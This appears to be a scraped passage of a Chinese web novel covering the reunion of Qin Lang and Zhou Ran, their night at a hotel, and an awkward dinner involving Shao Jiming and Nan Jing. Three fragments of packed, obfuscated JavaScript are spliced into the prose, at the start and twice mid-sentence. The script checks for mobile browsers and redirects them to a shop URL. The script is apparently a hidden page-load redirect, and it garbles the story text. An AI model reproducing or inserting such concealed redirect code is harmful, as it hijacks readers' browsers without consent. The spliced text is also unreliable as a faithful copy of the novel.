秦朗沉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17046492|194740||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 默了一下,就着趴在她胸前的姿势,用手肘微微撑起自己,看着她的眼睛,语气平静了些:“亲的。同父同母。不过,我爸妈是家族联姻,没什么感情。我从小是外公外婆带大的,跟我妈亲,但她也……身不由己。秦朔是跟我爸长大的,被他教得……有点歪。我爸妈很早就分居了,我妈身体不好,一直住在南方的疗养院,不太管事。” 他顿了顿,扯了扯嘴角,那笑容没什么温度:“所以,他跟你说的那些我要联姻的屁话,一句真的都没有。秦家现在,我爷爷说了算。老爷子早就看透了我爸那套,也清楚秦朔什么德行,所以早几年就略过我爸,直接把担子压我肩上了。他想用父亲的身份压我,逼我就范,那是痴人说梦。我要跟谁在一起,他管不了,秦家也没人能管。” 他目光深深地看着周冉,手指抚上她的脸颊,声音低了下去:“倒是你……冉冉,他去找你,给你钱,说那些混账话……你为什么不告诉我?为什么不直接揍他?还……还偷摸着跑了,一跑就是两年……你是真打算不要我了?知不知道我差点急疯了?” 周冉任由他的手指流连,眼神闪了闪,哼了一声:“我怕我下手没轻没重,真把他打死了,还得去坐牢,不值当。我也没想到,躲过了职场性骚扰,躲过了各种奇葩追求者,最后栽在你家这豪门恩怨、拿钱砸人的传统艺能上。千算万算,没算到自己也有这一劫。” 她顿了顿,撇撇嘴,语气是真的带上了一丝耿耿于怀的委屈:“而且,他好歹多给点啊!十万块?看不起谁呢?当年邵既明他妈给南景,开的价是我的……一百倍!我很受伤!我很委屈!秦朔他侮辱我!” 秦朗先是一愣,随即差点笑出声,但看到周冉那副“我认真生气”的表情,赶紧憋住,凑过去在她唇上响亮地亲了一口,哄道:“咱不气啊,不跟他一般见识!我的都是你的,以后秦家也都是你的!气死他!等你什么时候消气了,我让他把他私房钱全吐出来给你赔罪,怎么样?” 周冉被他逗得眼里有了点笑意,但很快又眯起了眼睛,闪过一丝狡黠又危险的光芒,慢悠悠地说:“秦朗,我改主意了。” “嗯?改什么主意?”秦朗有种不祥的预感。 “我不想见秦朔了,”周冉看着他,红唇勾起一个漂亮的、却让秦朗后背发凉的弧度,“我想找你爸。” 秦朗心头一跳:“你想见他?行,我随时可以带你回老宅……” “不,”周冉打断他,“我的意思是,我想找你爸——当、他、妈。” 秦朗:“……???” 周冉笑眯眯地补充:“然后,卡、他、零、花、钱。让他也体验一下,被区区小钱羞辱和支配的滋味。怎么样?是不是很有创意?” 秦朗足足愣了五秒钟,才消化完她这句话里的惊天“孝”意。他猛地爆发出了一阵惊天动地的大笑,笑得整个人都在周冉身上发抖,眼泪都快出来了。 “哈哈哈哈哈哈!祖宗!你可真是我祖宗!这主意绝了!太绝了!”秦朗一边笑,一边用力搂紧她,在她脸上、颈间落下无数个带着笑的亲吻,“行!都依你!等老爷子寿宴,我就带你回去认亲!保证让你过足当家主母的瘾,想卡谁零花钱就卡谁零花钱!” 两人笑闹了一阵,气氛重新变得轻松而亲昵。秦朗看着怀里眼波流转、笑靥如花的周冉,心头那簇火苗又“噌”地窜了起来,而且烧得更旺。他眼神再次变得幽深,低头想去寻她的唇,手也开始不老实地往她衣摆里探…… 周冉却一扭身,灵活地从他怀里挣脱出来,站起身,捋了捋有些凌乱的头发和衣服,居高临下地看着沙发上瞬间一脸欲求不满、仿佛被抛弃的大狗般的秦朗:“行了,很晚了,秦总。门在那边,慢走不送。” 秦朗哀怨地看着她,试图做最后的挣扎:“冉冉……真不留我?我保证就抱着,什么都不干……我发誓!” “男人的嘴,骗人的鬼。”周冉不为所动,走过去拉开大门,做了个“请”的手势,“赶紧的,我要洗澡睡觉了,倒时差。” 秦朗知道今晚是没戏了。他磨磨蹭蹭地站起来,走到门口,又猛地转身,一把将周冉拉进怀里,结结实实地、带着浓浓不甘和眷恋地,再次吻了上去。这个吻绵长而深入,直到周冉又开始推他,他才气喘吁吁地放开。 “等着,”他抵着她额头,声音沙哑地宣誓,“周冉,你跑不掉的。这辈子,下辈子,都别想再甩开我。” 说完,他狠狠心,松开她,转身大步走出了门,还“贴心”地替她带上了门。 门内,周冉靠在门上,听着门外电梯下行又关上的声音,抬手摸了摸自己依旧滚烫的唇瓣,眼底掠过笑意。 门外,秦朗站在空旷的电梯里,看着镜面墙壁里自己欲求不满、一脸憋屈的倒影,长长地、沉重地叹了口气。 得,两年都等了。 不差这一时半会儿。 至少,人回来了。心……好像也没完全飞走。 就是这身体……快要憋出内伤了。 他认命地按下负一楼,准备继续他清心寡欲的漫漫的追妻长路。 唉,这甜蜜又折磨的归航第一夜。 42. 秦朗的天,阴转晴 秦朗带着一身“到嘴的肉飞了”的憋屈和燥热,蔫头耷脑地走进地下停车场。他正烦躁地按着车钥匙解锁,一抬眼,冷不丁看见自己那辆黑色越野车旁边,直挺挺地站着个黑色的人影。 “卧槽!!” 秦朗吓得一个激灵,差点把车钥匙扔出去,心脏“咚咚”狂跳。他定睛一看,才看清是邵既明。 邵既明穿着合身的黑色大衣,身形确实比两年前丰润了些,不再是那种形销骨立的嶙峋感。脸颊有了点肉,虽然依旧苍白,但那种病态的灰败淡去不少。他安静地站在那里,双手插在大衣口袋里,背脊挺直,目光沉静地望着秦朗走来的方向。若不细看他眼底深处那抹挥之不去的幽深,和过分苍白的唇色,乍一看,倒真像个正常下班、在此等候的精英人士。 “我靠!邵既明!你他妈要吓死我是不是?!”秦朗拍着胸口,惊魂未定,没好气地骂道,“这大半夜的,乌漆嘛黑站个人就够吓人的了,你这亮堂堂灯底下戳着,跟个地下停车场索命男模似的,妈的视觉冲击力更强了!心脏病差点给你吓出来!” 邵既明对他的吐槽毫无反应,只是向前走了半步,眼巴巴的看着秦朗:“哥,他……怎么样了?” “他他他,就知道他!”秦朗翻了个白眼,拉开车门,没好气地甩下一句,“人家好着呢!吃得好睡得香,环游世界两年,身强体壮,容光焕发,美得跟朵雨打不散风吹不倒的霸王花似的!比你这天天吃药看心理医生的纸片人(现在厚了点)健康多了!” 他钻进驾驶座,砰地关上门。邵既明默不作声地拉开副驾驶车门,坐了进来,系好安全带。 车子启动,缓缓驶出停车场,汇入凌晨稀疏的车流。 邵既明侧着头,目光样子瞪着秦朗,沉默了半晌,才又开口:“他……” “他单身!”秦朗不等他说完,就机关枪似的接上,语气带着夸张的痛心疾首和同病相怜,“没交男朋友,没搞暧昧,没发展任何超出纯洁友谊的男女、男男、女女关系!我他妈都怀疑他是不是在南极被企鹅同化了性取向,或者在沙漠里看星星把七情六欲都看没了!妈的,这得是被伤得多深啊?啊?直接患上男人恐惧症、恋爱绝缘体了吧?邵既明,你看看你造的孽!” 他一边说,一边用余光瞥着邵既明。邵既明原本放在膝盖上的手,手指微微蜷缩起来。有些心神恍惚,眼睫垂得更低了。 “不过话又说回来,”秦朗话锋一转,开始无差别扫射,带着点“我老婆跑了你心上人单身所以我们同是天涯沦落人”的诡异共鸣感,“南景这家伙也是够可以的。外面世界多精彩啊,阳光沙滩猛男,雪山极光美女,居然一点花花心思都没动?这定力,这心性,啧啧,要么是圣人转世,要么就是……”他斜睨着邵既明,“心里某个地方,被某个王八蛋当初用水泥封死了,再好的风景也渗不进去。哎,你说这是幸运还是不幸?” 邵既明的呼吸明显乱了一拍,他转过头,看向秦朗,嘴唇动了动,想说什么,却又咽了回去,只是眼底那抹幽暗更深了。 秦朗看他这副样子,心里那点因为自己“没吃到肉”而起的憋闷,稍微平衡了点,至少邵既明比他更惨,连肉的影子都还没正式见着。 “还有啊,”秦朗继续他的吐槽,仿佛要把这两年替邵既明操的心、担的惊、受的怕,以及刚才在周冉那儿没发泄出去的“火”,全都倾泻出来,“你说你,当初干的叫什么事儿?啊?冷暴力,玩失踪,生日放鸽子,那一桩桩一件件的……我要是南景,别说环游世界了,我直接出家当和尚,看破红尘,从此青灯古佛,了此残生,绝不再给任何姓邵的、姓秦的、姓任何的人伤害我的机会!” 邵既明脸色更白了,手指紧紧攥着大衣的布料,指甲盖都发白了。他张了张嘴,声音干涩:“我……” “你什么你?”秦朗不给他辩解的机会,“你知道我这两年怎么过的吗?啊?一边满世界找周冉,一边还得替你打理公司,一边还得防着你哪天想不开把自己搞没了,一边还得看着你对着个破杯子、旧衬衫发呆流口水!我他妈容易吗我?我感觉我不是你哥,我是你爹!不,我爹都没我这么操心!” “你看看你现在,”秦朗趁着红灯,转过头,上下打量邵既明,“肉是长了点,人模狗样了,能上班了,不说谁知道你是个重度抑郁患者兼变态收集癖?但内里呢?啊?药停了吗?心理医生敢断吗?晚上能睡四个小时以上吗?看见跟南景背影有点像的人,心脏还会不会骤停?” 邵既明被他连珠炮似的质问轰得哑口无言,只能偏过头,避开他冷飕飕的目光,脖颈线条绷得僵硬。 车厢里陷入短暂的沉默,只有电台播放的深夜爵士乐在低回。秦朗发泄了一通,觉得胸口那口气顺了点。 “行了,你也别摆出这副全世界欠你八百亿的死人脸了。至少人回来了,活蹦乱跳的,没缺胳膊少腿,也没给你带个‘表弟’回来,算是不幸中的万幸。你呢,就继续乖乖吃药,看医生,好好工作,好好吃饭睡觉,争取早日从高危病患降级为普通神经病。” 邵既明静静地听着,等秦朗说完,他才缓缓转过头问道:“哥……我……能见见他吗?” 秦朗握着方向盘的手顿了顿。他早就料到邵既明会提这个。他目视前方,看着空旷的街道,沉默了几秒,没有立刻回答。 邵既明的心一点点沉下去,眼底那点微弱的光又开始摇曳。 就在他以为又会得到一句“别做梦了”或者“等你彻底好了再说”的拒绝时,秦朗忽然认命般地叹了口气,抬手抓了抓头发,语气带着一种“老子真是上辈子欠你的”的烦躁和妥协: “艹……真他妈是前世冤孽。” 他瞥了一眼瞬间眼睛亮起来的邵既明,没好气地警告:“你别高兴太早!我只是说……找时间,试试看。懂吗?试试看!不是打包票!得看时机,看南景的心情,看周冉会不会从中作梗,还得看你这段时间的表现!要是再给我搞出什么偷偷跟踪、潜伏进人家家里、或者对着人家喝过的水杯流口水这种变态行为,” 秦朗猛地转头,恶狠狠地瞪着邵既明,一字一顿:“我、亲、自、把、你、绑、了、送、精、神、病、院、电、疗!听、见、没、有?!” 邵既明被他瞪得缩了缩脖子,但眼底那点光却顽强地亮着。他用力地点了点头:“嗯!我……我会好好表现!哥,我保证!” “保证你个头!”秦朗转回头,专心开车,嘴里却还在不依不饶地嘟囔,“我真是倒了八辈子血霉,摊上你这么个恋爱脑晚期兼偏执狂的弟弟……还有周冉那个没良心的女人……南景那个油盐不进的闷葫芦……我上辈子是炸了银河系吗?这辈子要遭这种报应……” 他的吐槽声在车厢里回荡,混合着低沉的爵士乐。邵既明安静地听着,目光重新投向窗外流光溢彩的夜色,嘴角向上翘起了一个极其细微的弧度。 试试看。 哥答应试试看了。 有希望了。 至于秦朗那些喋喋不休的抱怨和威胁…… 邵既明悄悄看了一眼旁边开车都咬牙切齿的兄长,心里那点因为常年依赖和拖累而产生的愧疚,被一种“反正你也甩不掉我”近乎赖皮的安心感取代。 夜还很长,路也还长。 但至少今晚,归航的人点亮了灯塔,而守望的人,似乎也看到了一线靠岸的微光。 ———— 上午十点半,秦氏总部顶层的战略会议室。 秦朗坐在主位,一身黑色高定西装,领带系得一丝不苟,指尖点着摊开的财报数据,眉头微蹙,正在听海外事业部负责人汇报一个棘手的并购案后续。他看起来专注,沉稳,眉宇间带着属于决策者的锐利与审慎,偶尔提出一两个一针见血的问题,引得下属们更加绷紧神经。 忽然 他放在桌面上的私人手机屏幕,悄无声息地亮了一下。只是一下,很短促,在静音模式下,没有引起任何人注意,除了眼角余光一直若有似无扫过的秦朗本人。 他原本落在财报数字上的视线,极其轻微地漂移了一毫米。然后,顿住。 屏幕上的消息预览,只有短短一行字,来自那个他设置了特殊提示、却沉寂了许久的头像: 「2801。现在。」 没有称呼,没有表情,没有多余废话。是周冉的风格。那个房间号……是他们以前最常去的那家顶级酒店,那间拥有无敌城市景观和圆形按摩浴缸的长期套房。 秦朗只觉得脑子里像有什么东西炸开了。不是声音,是感觉。一股滚烫的血液呼啸着涌向头顶,又疯狂向下腹汇聚。 他搭在扶手上的左手猛地攥紧,勉强拉回一丝飘忽的清醒。但身体的其他部分已经开始不受控制地叛变——放在桌下的右腿,开始细微而快速地抖动起来,像上了发条的跳跳球。空闲的右手抬起来,状似无意地蹭了蹭鼻尖,指尖却不受控制地滑到唇边,开始无意识地抠着上排一颗门牙,发出极其轻微只有他自己能听见的“咔咔”声。 海外事业部负责人的声音还在继续,PPT翻到了下一页复杂的股权结构图。但在秦朗耳中,那已经变成了一片模糊的、无关紧要的背景噪音。他的所有感官,所有注意力,都牢牢被那短短一行字和那个房间号吸走了。脑海里不受控制地开始闪现一些破碎的画面——酒店昏黄的光线,圆形浴缸氤氲的水汽,周冉湿漉漉的头发,她带着水光的眼睛和上扬的嘴角…… 不行!不能想!还在开会! 他猛地咬了一下自己的舌尖,他强迫自己将目光重新投向PPT,试图跟上汇报的思路,但那些数字和线条仿佛都在跳动、旋转,最终扭曲成“2801”这个魔性的数字。 腿抖得更厉害了。抠牙的动作几乎成了机械性的重复。西装裤的布料,此刻显得格外紧绷和不舒服。 必须离开。立刻。马上。 就在负责人结束一页,准备翻到下一页,目光征询地看向他时,秦朗“霍”地一下站了起来! 会议室里瞬间一片死寂。所有正在记录、思考、准备发言的高管齐刷刷地抬起头,目光惊愕、疑惑、甚至带着点惶恐地聚焦在突然站起的秦朗身上。汇报的负责人更是吓得声音卡在喉咙里,PPT遥控器差点脱手。 秦朗却恍若未觉。他脸上没什么表情,但仔细看,能发现他眼底深处有火光在跳跃,下颌线绷得死紧。他清了清嗓子,声音比平时略显低沉沙哑,语速却快得惊人:“嗯,大致思路清楚了。你们继续深入 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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平时需要半小时的车程,被他硬生生压缩到了十五分钟。一个漂亮的甩尾,跑车精准地停进酒店VIP通道门口的车位,差点刮到旁边的路沿石。他毫不在意,拔钥匙,下车,甩上车门,一系列动作快得只剩残影。 冲进酒店大堂,无视了前台人员训练有素的微笑和问候,他直奔专属电梯,按亮28层。电梯平稳上升,镜面墙壁映出他此刻的模样——头发有些凌乱,领带歪斜,衬衫领口敞开,胸膛微微起伏,眼神亮得吓人。 “叮。” 28层到了。走廊铺着厚厚的地毯,寂静无声。秦朗走到2801房门前,深吸一口气,却压不下狂乱的心跳。他抬手,按响了门铃。 “叮咚” 几乎是门铃响起的下一秒,房门就被人从里面拉开了。 秦朗只觉得一股热血“嗡”地一声,彻底冲上了头顶,大头爸爸管不了小头儿子了。 门口,周冉倚着门框,好整以暇地看着他。 她换了一身装扮。不,这已经不能称之为普通的装扮,这简直是一记针对秦朗所有弱点和幻想的视觉核弹! 经典的黑色女仆装,布料却少得恰到好处,剪裁极度贴合身体曲线,勾勒出惊心动魄的玲珑起伏。白色的蕾丝围裙和头饰,衬得她肌肤胜雪。腿上,是轻薄透肉的黑色吊带丝袜,在走廊灯光下泛着诱人的哑光,袜口勒在绝对领域上方,留下引人遐想的勒痕。脚上,是一双细跟漆皮亮面的黑色高跟鞋,衬得脚踝纤细,小腿线条优美流畅。 而她的手里,漫不经心地拎着一条短柄装饰着细小铆钉的黑色小皮鞭,鞭梢在她指尖轻轻晃荡。 但最要命的,是她此刻的眼神和表情。她没有笑,只是微微偏着头,红唇轻抿,那双总是带着嘲讽或冷淡的漂亮眼眸,此刻氤氲着一层极具侵略性的水光,自上而下地打量着门口瞬间石化的秦朗,目光慢条斯理地扫过他因为震惊和激动而僵硬的脸,滚动的喉结,敞开的领口,最后落在他某个因为过于激动而明显“不太对劲”、将昂贵西装撑出惊人轮廓的部位。 那眼神,像带着钩子,又像点燃了火。 秦朗的大脑彻底宕机。所有的语言能力、思考能力、甚至呼吸能力,都在这一瞬间被剥夺。他只觉得全身的血液都在疯狂奔涌,叫嚣着,沸腾着,齐齐冲向同一个地方,让他几乎站立不稳。西装裤的束缚感达到了极限,传来一阵阵令他头皮发麻的胀痛。 “快、进、去!” 他从牙缝里,用尽全身力气,挤出几个破碎嘶哑到不成调的字。他几乎是手脚并用地,踉跄着往前一步,一把抓住周冉的手腕,用蛮力将她往房间里一带,同时另一只手“砰”地一声甩上了厚重的房门。 房间里只开了一圈幽暗的壁灯,空气里漂浮着周冉常用的那种清冷又带点甜腻的香水味……和别的什么暧昧气息。 秦朗背靠着刚刚关上的房门,喘着粗气,眼睛赤红,死死盯着近在咫尺、打扮得如同禁忌幻想成真的周冉,目光像烧红的烙铁,一寸寸烙过她全身。他的理智早已灰飞烟灭,只剩下最原始、最汹涌的、压抑了太久太久的本能和渴望,在这一刻,被眼前这极致诱惑的画面,彻底引爆,喷薄而出。 他猛地伸手,不是去碰那根小皮鞭,而是直接扣住了周冉的后脑,将人狠狠按向自己,低头吻了上去。 43. 小冤家你干嘛,像个傻瓜 晚上,城中某家需要提前数月预订的私房菜馆,南景已经先到了,正慢条斯理地翻着菜单,听到门口动静,抬起了头。 然后,他拿着菜单的手顿了一下。 秦朗揽着周冉的腰走了进来。两人都换了衣服,秦朗是件休闲的V领针织衫,周冉则穿了件高领的花边小白裙。然而,高领显然遮不住全部“战况”。周冉微微侧头跟侍者说话时,脖颈一侧,从耳后到锁骨,一片深深浅浅、密密麻麻的痕迹便暴露在灯光下——鲜艳的吻痕,间或夹杂着几个颜色更深边缘清晰的咬痕,一路蔓延进衣领深处,在白皙肌肤上格外触目惊心。她走动间,裙摆晃动,隐约能看到脚踝上方似乎也有类似的红痕。 而秦朗那边,更是精彩。V领开口处,锁骨和胸膛上方,除了同款的吻痕,赫然印着几道已经结了薄痂的抓痕,一看就是被指甲狠狠挠过留下的。他脖颈侧面,一个带着齿印的牙印嚣张地烙印在皮肤上,周围还泛着红。他抬手给周冉拉椅子时,手腕内侧也露出一小片可疑的淤青。 两人精神倒是不错,甚至可以说容光焕发,周冉眼波流转间带着餍足的慵懒,秦朗更是眉飞色舞,眼角眉梢都透着“老子吃饱了”的得意洋洋,只是这“吃饱”的代价,明显都写在了身上。 南景的目光在两人身上那堪比“战后废墟”般的痕迹上来回扫了两遍,放下了菜单,端起茶杯抿了一口,开口道:“两位,”他顿了顿,像是在斟酌用词,“这久别重逢叙旧的……激烈程度,是不是稍微有点……超纲了?不知道的,还以为你们不是去酒店,是组团去了趟亚马逊热带雨林,跟食人鱼和美洲豹打了一架,活着出来了,但留下了深刻的……嗯,生物交流印记。” 他指了指周冉的脖子,又示意了一下秦朗胸口的抓痕:“这架势,是打算以后都不穿低领衣服和短袖了,还是准备开发行为艺术新路线,主题就叫:论人类体表伤痕美学与情感烈度的非线性关系?” 秦朗非但没觉得不好意思,反而像是听到了最高级别的赞美,得意地挺了挺胸膛,伸手揽过周冉的肩膀,指着自己脖子上的牙印,炫耀般地对南景说:“大舅哥,这你就不懂了吧?肤浅!这叫标记!懂吗?所有权声明!战利品勋章!你看这牙印,这弧度,这力道,多完美!还有这挠的,”他扯了扯自己的V领,让那片伤痕更明显些,语气陶醉,“这每一道,那都是爱的鞭策,激情的乐章!随便看!我恨不得开个新闻发布会向全世界展示!这说明什么?说明我们冉冉,心里有我!爱得深沉!爱得猛烈!爱得……充满野性的创造力!” 周冉被他的厚颜无耻逗笑了,踢了他小腿一脚,秦朗配合的“哎哟”一声。她调整了一下坐姿,让高领更好地遮住颈侧,但耳后那点红痕还是若隐若现。她拿起水杯喝了一口,瞥了南景一眼,语气懒洋洋的:“还行吧,也就一般发挥。某人憋了两年,跟个弹药库似的,一点就炸,拦都拦不住。我这属于……正当防卫,附带一点情绪价值反馈。” 南景点点头,表示理解,目光落在秦朗脸上那些“勋章”上:“嗯,看出来了,防卫得很到位,反馈得也很……具体。不过秦总,”他指了指秦朗脸上光滑的皮肤,“还好周冉防卫的时候,手下留情,没往你脸上招呼。不然明天秦氏太子爷顶着一脸爱的抓挠开董事会,那股价恐怕得跟着您的脸一起跌出个激情K线图。” 秦朗摸了摸自己完好无损的俊脸,更加得意:“那必须的啊!我们冉冉有分寸!知道什么是门面,什么是……私密战场。挠身上,那是情趣;挠脸上,那是家暴,影响市容还耽误赚钱。对吧冉冉?” 周冉哼了一声,没否认,只是拿起菜单挡住半张脸,但眼里的笑意藏不住。 南景看着这对“一个愿打一个愿挨”、还引以为荣的“伤员”,摇了摇头,开始点菜。他一边勾选,一边状似无意地随口问道:“所以,这次叙旧……持续了多久?看这战损程度,起码得是跨日持久战吧?酒店没报警说某间房有异常动静,怀疑在进行非法格斗比赛?” 秦朗立刻来了精神,压低声音,但又足够让南景听清,眉飞色舞地开始汇报:“从上午十一点进去,这不刚刚出来!八个小时!中间就叫了一次客房服务,吃了点东西补充体力!怎么样大舅哥?这续航能力,这战斗力,没给你丢人吧?酒店?酒店敢报警?我给他们总经理捐了个游泳池!” 南景挑了挑眉,看了一眼对面虽然慵懒但明显滋润过度的周冉,难得地附和了一句:“嗯,看出来了,能量守恒定律在你们这儿得到了完美体现,一方消耗的体力,完全转化为了另一方的……嗯,皮肤显色度和声音沙哑度。就是不知道酒店那按摩浴缸和床垫的保修期还够不够长。” 周冉终于放下菜单,横了南景一眼:“南小景,你学坏了啊。以前这种话你可说不出来。是不是在外面两年,被什么不三不四的人带坏了?” “近朱者赤,近墨者黑。”南景面不改色,将勾选好的菜单递给侍者,“跟两位伤痕艺术大师坐一桌,耳濡目染,总得学点皮毛,不然显得我多不合群。” 秦朗哈哈大笑,给周冉夹了一筷子开胃小菜,又凑过去低声说了句什么,惹得周冉耳根更红,嗔怪地瞪他。南景则淡定地给自己倒了杯茶,无视对面那对周身散发着“我们刚进行过深入负距离交流并且很满意”气息的男女。 这边菜刚上了两道凉碟,包厢门没关严,走廊里就传来一个清脆又带着点娇憨的女孩子声音,由远及近:“大表哥?大表哥你在里面吗?我好像看到你了!” 话音未落,包厢门被轻轻推开一条缝,一个扎着高马尾、穿着私立学校制服、约莫十一二岁的小姑娘探进头来,眼睛又大又亮,好奇地朝里张望。她身后,站着身形挺拔、脸色依旧有些苍白但眼神清明了些的邵既明。 三人闻声望去。秦朗看到那小姑娘,脸上立刻露出一个略显夸张、但明显亲切的笑容,抬手招呼:“琪琪?这么巧,你也来这儿吃饭?” 赵琪看到秦朗,眼睛一亮,推开门就快步走了进来,很自然地站到秦朗身边,拉着他的胳膊轻轻摇晃,声音清脆:“大表哥!你来这里吃饭怎么不喊我呀?我妈说这家可难订了!你是不是把我忘了?” “哪儿能啊!”秦朗揉了揉小姑娘的头发,语气是难得的温和耐心,“下次,下次大表哥专门带你和你妈来,想吃什么点什么,好不好?” “不嘛,我就要今天跟你们一起吃!”赵琪不依,目光好奇地扫过桌边的周冉和南景,最后落在邵既明身上,似乎用眼神询问能不能加入。 邵既明站在门口,显得有些局促。他对周冉和南景的方向微微点了点头,算是打招呼。周冉瞥了他一眼,没什么表情,低头抿了口茶,显然没打算接茬。南景也朝他点了点头后,目光没有丝毫停留,便自然地转开了。对他而言,邵既明这个人,连同那些过往的爱恨纠葛,确实早已翻篇,如风过无痕,连余波都懒得计较。 秦朗看了看明显不想搭理人的周冉,又看了看一脸“我无所谓”但也没说欢迎的南景,有些为难地挠了挠头,这个动作扯到脖子上的抓痕,让他疼得嘶了一声:“琪琪,你看这……” “那就一起吧,不要紧的。”南景开口,他放下茶杯,看向秦朗,“加两副碗筷的事。人多热闹。” 周冉闻言,从鼻子里轻轻哼了一声,但没反对,只是拿起筷子夹了片水晶肴肉,慢悠悠地吃着。 秦朗如蒙大赦,立刻高声对门口的服务员喊道:“服务员!再加两套餐具!椅子!” 赵琪立刻高兴地“耶”了一声,很自觉地坐到了秦朗左边的空位。这样一来,圆桌的座位就变成了:秦朗居中,左边是赵琪,右边是周冉;周冉旁边是南景;而邵既明,则被服务员引导着,坐到了南景旁边的最后一个空位上,正好与南景挨着。 圆桌本就不大,三个人坐时宽裕,五个人一坐,立刻显得有些拥挤。胳膊肘稍微动一下,就可能碰到旁边的人。邵既明在坐下时,尽量小心地调整坐姿,让自己和南景之间保持着一道勉强能通过一个拳头的缝隙,但衣料摩擦的细微声响,和对方身上传来的、极淡的气息,依旧清晰可感。他垂着眼,放在膝上的手指微微蜷缩,呼吸都放轻了些。终于……能这样,光明正大地,离他这么近。哪怕只是物理距离。 他飞快地瞥了一眼对面正忙着给赵琪倒果汁的秦朗。 “哥,他们是谁啊?”赵琪吸着果汁,大眼睛忽闪忽闪地看着周冉和南景,毫不认生地发问。 “啊,这个啊,”秦朗立刻来了精神,手臂一伸,揽住旁边周冉的肩膀(被周冉不客气地拍开),得意洋洋地介绍,“这位,漂亮吧?是你大表哥我未来的老婆,懂吧?你叫大表嫂就行!这位呢,是你大表嫂的哥哥,南景叔叔!” “别听他瞎说!”周冉立刻截断秦朗的话,对着赵琪露出一个堪称和蔼可亲的笑容,纠正道,“小妹妹,别听你大表哥胡说,叫姐姐就行。不是什么大表嫂哈。” “哦!姐姐好!”赵琪从善如流,立刻甜甜地叫了一声,又转向南景,礼貌地点头,“南景叔叔好!我叫赵琪。” 南景对小姑娘笑了笑,点点头:“你好,赵琪。” 赵琪的目光在秦朗和周冉之间转了转,最后落在秦朗脖子上那个显眼的牙印和周围的抓痕上,小眉头疑惑地皱了起来,伸出小手指着:“大表哥,你脖子上怎么了?是被野猫抓了吗?还是被狗狗咬了?红红的,还有牙印!妈妈说了,被小动物抓了咬了要立刻去打针的!很危险的!” “噗!”正在喝茶的周冉差点呛到,连忙拿起餐巾掩住嘴,肩膀可疑地抖动起来。 南景的嘴角也向上弯了一下,假装没听见。 秦朗的表情瞬间变得极其精彩,尴尬、得意、哭笑不得混杂在一起,他干咳两声,摸了摸脖子,含糊道:“咳咳……这个啊,没事,没事……嗯,算是……养了只比较……活泼的小猫。已经打过针了,对,打过针了,保证没事!对吧冉冉?” 周冉好不容易止住笑,抬起眼,斜睨着秦朗。她放下餐巾,伸手,捏住秦朗腰侧一块软肉,顺时针一拧—— “嗷!”秦朗猝不及防,疼得低叫一声。 “给我正经点!别教坏小孩子!”周冉压低声音,在他耳边咬牙切齿,然后松开手,对着瞪大眼睛、一脸茫然的赵琪露出一个温柔的笑容,“琪琪别担心,你大表哥皮糙肉厚,没事。就是那小猫有点野,下次我……嗯,帮你教训它。” 赵琪似懂非懂地点点头:“哦……那姐姐你要小心哦,野猫很凶的。我上次喂学校后门的流浪猫,它还哈我呢。” “嗯,姐姐会小心的。”周冉笑眯眯地点头,又意有所指地瞥了秦朗一眼。 秦朗揉着被掐疼的腰,龇牙咧嘴,但看着周冉那副“你敢乱说就死定了”的表情,又看看旁边南景一副“你们继续,我吃饭”的事不关己,以及邵既明低着头、假装研究桌布花纹的专注模样,只能把一肚子炫耀的话憋回去,悻悻地给自己倒了杯茶。 新加的餐具送了上来,服务员也开始陆续上热菜。小小的圆桌瞬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17046494|194740||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 间被盘碟摆满,五个人吃饭,不可避免地需要互相递菜、避让。邵既明每次需要从南景面前经过夹菜时,动作都会放得极慢、极轻,手臂绷紧,生怕碰到对方。 饭桌上的话题在赵琪叽叽喳喳的校园趣事和秦朗与周冉斗嘴中流淌。邵既明一直安静地坐着只有眼角的余光,时刻看着身旁南景的每一个细微动作。 他不敢多看,却又无法不看。心脏在胸腔里不规律地撞着,每一次南景的衣袖因为动作轻轻擦过他的手臂,都像有微弱的电流窜过,带来一阵战栗和更深的干渴。他必须说点什么。不能就这样沉默地吃完这顿饭。这是秦朗给他创造的也许是唯一一次能正常交谈的机会。 他深吸一口气,那口气息在胸腔里滚烫,又带着药味的微苦。他强迫自己转过头,看向南景的侧脸,尽量让声音听起来平稳,尽管开口的瞬间,声音还是有些紧绷和沙哑:“南景。” 南景闻声,停下夹菜的动作,转过头看向他。目光平静,没有不耐,也没有多余的情绪,就像在看一个需要回应的普通同桌食客。 这平静的目光让邵既明心头一悸,他几乎是立刻避开了对视,视线落在南景面前那碟清炒芥蓝上,喉结滚动了一下,才继续问道:“听说……你们这两年去了很多地方。玩得……还开心吗?” “嗯,去了不少地方。看看不一样的风景,体验不同的生活,挺有收获的。”他顿了顿,似乎觉得应该礼尚往来,也问一句,便接着道,“你呢?这两年……还好吗?” 